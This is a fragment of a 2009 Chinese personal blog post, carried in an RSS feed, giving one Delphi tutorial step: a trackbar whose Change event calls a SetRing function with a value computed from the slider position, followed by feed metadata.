<br>4、先加一个窗口，在窗口上放上一个trackbar控件把其Max设为20，Min设为1，把Position设为10，在这个控件的Change事件里写上：<br>SetRing(strtoint(''$''+inttostr(1742+(10-trackbar1.Position)*160)));<br>就这么容易，win2000的也就写出来了，<br> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[362903302@qq.com(青涩的、倔强)]]></author>
<comments>http://362903302.qzone.qq.com/blog/1237313655#comment</comments>
<qz:effect>134218240</qz:effect>
<pubDate>Tue, 17 Mar 2009 18:14:15 GMT</pubDate>
<guid>http://362903302.qzone.qq.com/blog/1237313655</guid>
</item>

</channel>
</rss>

